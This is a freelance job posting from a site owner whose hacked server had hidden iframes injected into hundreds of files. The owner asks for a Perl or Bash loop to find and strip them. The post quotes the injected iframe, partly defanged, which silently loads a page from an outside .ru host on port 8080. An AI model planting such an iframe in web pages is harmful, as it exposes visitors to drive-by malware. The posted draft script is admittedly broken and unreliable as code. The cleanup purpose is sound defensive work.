Search/replace Perl or Bash script

IN PROGRESS
Bids
5
Avg Bid (USD)
$30
Project Budget (USD)
$30 - $250

Project Description:
Hi All,

Here is the logic that I need:

I'm not a perl or bash script expert, so my syntax is not correct.

We have a server that has been hacked and was injected with lines like:


<iframe frameborderMODIFIED="0" onlMODIFIEDoad="if (!thisMODIFIED.src){ this.src='http://theeasyMODIFIEDriver.ru:8080/index.php'; this.height='0'; this.width='0';}"
>mpjekrjkyxsjdivcdgobvmcrmdsqfoy</iframe>


(I injected the word MODIFIED so that no harm will be caused to anyone surfing here).

Running: grep -lr ":8080" * > listofbadfiles.txt

Captures the list of all the infected files.

To MANUALLY clean each file I use the following sanitize.pl file:

for example:

./sanitize.pl index.php

server #less sanitize.pl

#!/usr/bin/perl -i

undef $/;
$_ = <>;
s/<iframe frameborder.*?iframe>//msg ;
print "$_";



Now, this is doing the work for a Single file.
However, I have hundreds of files that need to be sanitized, so I want to run the sanitize.pl on every file that is in the listofbadfiles.txt

I tried to run the following logic, but I'm not a good bash/perl developer, so this is where I need your assistance in creating the right loop that will run correctly:



#!/usr/bin/perl -i

grep -lr ":8080" * > listofbadfiles.txt

open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
while (<FILE>)
{

undef $/;
$_ = <>;

s/<iframe frameborder.*?iframe>//msg ;
print "$_";

}



This is a short script/project, probably a 5 minutes script.
When you bid,. please make sure you know Perl and Bash scripting.

I want to be able to run:

./loop-sanitize.pl

and have the script grep recursivly all the files in the directory and below, and then process them accordingly.

Very simple,. very short.

Good luck and Happy bidding.

Skills required:
C Programming, Java, Linux, Perl, Python
About the employer:
Verified
Public Clarification Board
Bids are hidden by the project creator. Log in as the employer to view bids or to bid on this project.
You will not be able to bid on this project if you are not qualified in one of the job categories. To see your qualifications click here.